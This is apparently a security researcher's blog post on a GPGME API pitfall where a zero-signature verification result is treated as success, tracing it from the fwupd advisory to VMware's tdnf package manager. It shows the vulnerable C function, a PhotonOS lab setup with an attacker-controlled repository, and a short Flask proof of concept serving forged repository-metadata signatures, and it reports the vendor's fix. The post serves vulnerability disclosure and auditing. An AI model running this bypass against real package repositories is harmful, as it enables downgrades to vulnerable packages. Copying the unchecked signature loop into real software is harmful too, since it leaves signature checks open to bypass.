GPGme used confusion, it's super effective !

Gpgme and fwupd analysis
 

A few months ago, an interesting advisory impacting fwupd was published publicly, leveraging a dangling S3 bucket and a GPGME signature bypass to push a malicious firmware on potentially several thousands Linux system.

If the first issue — the dangling S3 bucket — is unfortunately increasingly more common now that a lot of resources are pushed to the cloud, the second "bug" leveraged in this attack is much more interesting. fwupd use PGP signatures to ensure that the updated firmware has not been tampered by some attacker on the network, and more specifically the open source library GPGME ("GnuPG Made Easy") to do the verification.

 

Here's the interesting part : the PGP verification bypass issue is "the fault of no one". This is explained way more thoroughly in the original advisory but here's the gist of the story : the gpgme_op_verify_result function behave in an unexpected way when checking detached pgp signatures. In this setup, the function can return a non-NULL gpgme_verify_result_t pointer, but containing a list of 0 signatures if none of the keys used to sign the blob were in the verifier's keychain.

 

The advisory author contacted gpgme's security team and pointed out this issue. The security team does not evaluate this edge case as a bug or a vulnerability in gpgme and instead ask "Developers who use libgpgme should ensure that their signature verification logic defends against a zero-signature result".

 

We have basically an "overlapping Venn diagram" situation where on the one hand we have a third party library providing a security feature for the masses which refuses to acknowledge their APIs may be a bit confusing in some cases, and on the other hand an ecosystem of developers which are not security experts — and definitively not gpg/crypto experts — integrating this library in their codebases :

 

Variant analysis

While reading the origin advisory, my first instinct was "no way fwupd is the only software making this mistake". And so I lurked a bit on the public repositories in order to find some variants of the same bug. https://grep.app/ is a really awesome tool in this case, I just searched uses of gpgme_op_verify_result on public Github repositories and I instantaneously found hits, especially this one : https://github.com/vmware/tdnf/blob/4d8b5849cabd98dad4615af2717595c39d669851/plugins/repogpgcheck/repogpgcheck.c

static
uint32_t
_TDNFVerifyResult(
    gpgme_ctx_t pContext
    )
{
    // [COMMENT]: Set ERROR as SUCCESS by default
    uint32_t dwError = 0;

    gpgme_verify_result_t pResult = NULL;
    gpgme_signature_t pSig = NULL;

    /* pContext release will free pResult. do not free otherwise */
    pResult = gpgme_op_verify_result(pContext);
    if (!pResult)
    {
        dwError = ERROR_TDNF_GPG_VERIFY_RESULT;
        BAIL_ON_TDNF_ERROR(dwError);
    }

    // [VULN]: for a detached signature, gpgme_op_verify_result() succeed but return a list of 0 signatures
    // [VULN]: pSig = NULL, so we don't enter the loop
    for(pSig = pResult->signatures; pSig; pSig = pSig->next)
    {
        if (pSig->status)
        {
            fprintf(stderr, "repo md signature check: %s\n", gpgme_strerror (pSig->status));
            dwError = ERROR_TDNF_GPG_SIGNATURE_CHECK;
            break;
        }
    }

cleanup:
    // [COMMENT]: return SUCCESS, yay \o/
    return dwError;

error:
    goto cleanup;
}

As the comments says (the comments are mine, not Vmware's) there is an edge case where we can return ERROR_SUCCESS with an 0-signature result. In a more "meta" approach, every pattern of code that directly loop over gpgme_verify_result_t.signatures without checking before if the pointer is NULL has 90% chances to be vulnerable.

Finding a vulnerable pattern is one thing, but it does not always mean the product/library/software is vulnerable. We need to check how the function is used and see if there is a "credible" scenario for an attacker to take advantage of it.

So what's Vmware tdnf and how it's used ?

Photon OS

Vmware is developing for several years now PhotonOS, a "Minimal Linux container host" which is a lightweight Linux distribution catered for cloud environments and optimized for Vmware infrastructure. It also boasts to be a "secure run-time environment" (sic). In a nutshell, it's an Alpine-like distribution for cloud-based VMs.

What's unusual is that they decided not to use a tried and trusted package manager such as aptitude or yum but instead to write a new one from scratch based on the DNF specification (the same as yum, now replaced by dnf) called tdnf.

What's more unusual is they decided to write it in C.

For a package manager.

For a secure OS.

In 2020.

So we have a vulnerable function used in the package manager for a security-oriented Linux distribution maintained by a major software company, what could go wrong ?

TDNF repogpgmecheck plugin

First, in order to test if the vulnerability is accessible, we need to boot into a PhotonOS machine and add a pseudo-repository controlled by us :

root@photon-machine [ ~/ ]$ cat /etc/yum.repos.d/attacker-controlled.repo 
    [attacker-controlled]
    name=This-Is-Controlled-By-An-Attacker.
    baseurl=http://192.168.164.1/photon/$releasever/photon_updates_$releasever_$basearch
    gpgkey=file:///etc/pki/rpm-gpg/VMWARE-RPM-GPG-KEY
    gpgcheck=1
    enabled=1
    skip_if_unavailable=True
root@photon-machine [ ~/ ]$  tdnf repolist
    repo id             repo name                                 status    
    attacker-controlled This-Is-Controlled-By-An-Attacker.        enabled   
    photon-updates      VMware Photon Linux 3.0 (x86_64) Updates  enabled   
    photon              VMware Photon Linux 3.0 (x86_64)          enabled   
    photon-extras       VMware Photon Extras 3.0 (x86_64)         enabled
root@photon-machine [ ~/ ]$  tdnf list | grep attacker
    legitimate-package-but-downgraded.noarch 1.0-1              attacker-controlled

The vulnerable function _TDNFVerifyResult is not located in the package signature verification (this is done by rpm's own verification code which is not vulnerable to 0-signatures result) but where signing the repository metadatas. It's a plugin called repogpgmecheck which is used to protect repositories from update catalog attacks which may force packages downgrades for example.

This plugin is currently optional and it is not yet deployed on a "real" system. Here's how you do it :

root@photon-machine [ ~/ ]$ git clone https://github.com/vmware/tdnf
root@photon-machine [ ~/ ]$ cd tdnf
root@photon-machine [ ~/tdnf ]$ mkdir build
root@photon-machine [ ~/tdnf ]$ cd build
root@photon-machine [ ~/tdnf/build ]$ cmake ..
root@photon-machine [ ~/tdnf/build ]$ make
root@photon-machine [ ~/tdnf ]$ cd ..
root@photon-machine [ ~/tdnf ]$ mkdir /etc/tdnf/pluginconf.d
root@photon-machine [ ~/tdnf ]$ echo "[main]\nenabled=1" > /etc/tdnf/pluginconf.d/tdnfrepogpgcheck.conf
root@photon-machine [ ~/tdnf ]$ mkdir -p /usr/local/lib64/tdnf-plugins/tdnfrepogpgcheck/
root@photon-machine [ ~/tdnf ]$ cp  build/plugins/lib/tdnfrepogpgcheck/libtdnfrepogpgcheck.so /usr/local/lib64/tdnf-plugins/tdnfrepogpgcheck/
root@photon-machine [ ~/tdnf ]$ echo "repo_gpgcheck=1\n" >>> /etc/yum.repos.d/attacker-controlled.repo 

And finally you activate it :

root@photon-machine [ ~/tdnf]$ echo "repo_gpgcheck=1\n" >>> /etc/yum.repos.d/attacker-controlled.repo 
root@photon-machine [ ~/ ]$ tdnf repolist
Loaded plugin: tdnfrepogpgcheck
Error: 404 when downloading http://192.168.164.1:8080/photon/3.0/photon_updates_3.0_x86_64/repodata/repomd.xml.asc
. Please check repo url.
Plugin error: repogpgcheck plugin error: (null)
    repo id             repo name                                 status    
    photon-updates      VMware Photon Linux 3.0 (x86_64) Updates  enabled   
    photon              VMware Photon Linux 3.0 (x86_64)          enabled   
    photon-extras       VMware Photon Extras 3.0 (x86_64)         enabled

The code needed to reproduce the attack is pretty straightforward (it's a Flask python server tweaked from https://github.com/justinsteven/CVE-2020-10759-poc/blob/master/serve.py) :

@app.route("/photon/<version>/photon_updates_<version2>_<arch>/repodata/repomd.xml.asc")
def serve_repomd_xml_asc(version, version2, arch):
    # generate a valid repomd.xml file
    repomd = generate_repomd(version, arch)         

    # sign_data_with_throwaway_gpg_key is implemented here : https://github.com/justinsteven/CVE-2020-10759-poc/blob/master/serve.py
    gpg_signature = sign_data_with_throwaway_gpg_key(repomd.encode("utf-8"))
    return Response(gpg_signature)

And the result :

root@photon-machine [ ~/tdnf ]$ rm -rf /var/cache/tdnf/attacker-controlled/*
root@photon-machine [ ~/tdnf ]$ build/bin/tdnf repolist
Loaded plugin: tdnfrepogpgcheck
repo id             repo name                                 status    
attacker-controlled This-Is-Controlled-By-An-Attacker.        enabled   
photon-updates      VMware Photon Linux 3.0 (x86_64) Updates  enabled   
photon              VMware Photon Linux 3.0 (x86_64)          enabled   
photon-extras       VMware Photon Extras 3.0 (x86_64)         enabled  

This bug is not earth-shattering : it only allows an attacker to bypass the signature on metadata listing where this check has been enabled (not by defaut). The only attack available in this scenario is a potential downgrade of a package to a version containing a known vulnerability.

Anyway, this issue has been transmitted to vmware and they fixed it : https://github.com/vmware/tdnf/pull/152

Conclusion

fwupd and tdnf/repogpgmecheck are not isolated issues :

• okpg used to be vulnerable : https://git.openwrt.org/?p=project/opkg-lede.git;a=commitdiff;h=5d73bb62ab80a03c0df9dcba12c5248567121dbd
• mutt was also vulnerable : https://github.com/muttmua/mutt/commit/ef39ec4d8e50b54dfe72b62ec123fea8141bfc4f#diff-16d7285c5535f65aa939761d99ee3da6
• deprecated software but also vulnerable in its time : https://git.sailfishos.org/mer-core/messagingframework/blob/4e72ae2df8380d6758c6ea8925afc242e91b579f/qmf/src/plugins/crypto/gpgme/gpgmeplugin.cpp#L127

And this is only in public repositories indexed by Google.

With this non-obvious API design, gpgme just handed out a powerful way for developers to shoot themselves in the foot when they want to verify pgp signatures. If you're a security expert auditing a software relying on libgpgme, just try this attack vector there are good chances you can do something interesting with it.

References

•  fwupd issue:
  •  https://github.com/justinsteven/advisories/blob/master/2020_fwupd_dangling_s3_bucket_and_CVE-2020-10759_signature_verification_bypass.md
  • https://github.com/fwupd/fwupd/commit/21f2d12
  • https://github.com/vmware/tdnf/blob/dev/plugins/repogpgcheck/repogpgcheck.c#L30
• tndf
  • https://github.com/vmware/tdnf/releases
  • https://github.com/vmware/tdnf/blob/4d8b5849cabd98dad4615af2717595c39d669851/plugins/repogpgcheck/repogpgcheck.c
• Photon
  • https://vmware.github.io/photon/assets/files/html/1.0-2.0/Frequently-Asked-Questions.html#q-how-to-report-a-security-vulnerability-in-photon-os
  • https://packages.vmware.com/photon/3.0/photon_updates_3.0_x86_64/repodata/
  • https://vmware.github.io/photon/assets/files/html/3.0/photon_admin/adding-a-new-repository.html
  • https://vmware.github.io/photon/assets/files/html/3.0/photon_admin/photon-os-package-repositories.html
  • https://vswitchzero.com/2018/03/05/configuring-a-proxy-in-photon-os/
• gpg/rpm
  • https://blog.packagecloud.io/eng/2014/11/24/howto-gpg-sign-verify-rpm-packages-yum-repositories/
  • https://github.com/rpm-software-management/dnf/blob/2799f18a734d810378b45bd5fc03e33b31f8237a/dnf/cli/cli.py#L287
  • https://github.com/rpm-software-management/dnf/blob/3fb8dec06f166ad6b82a3ba0b667ba490ceab1da/tests/test_crypto.py#L77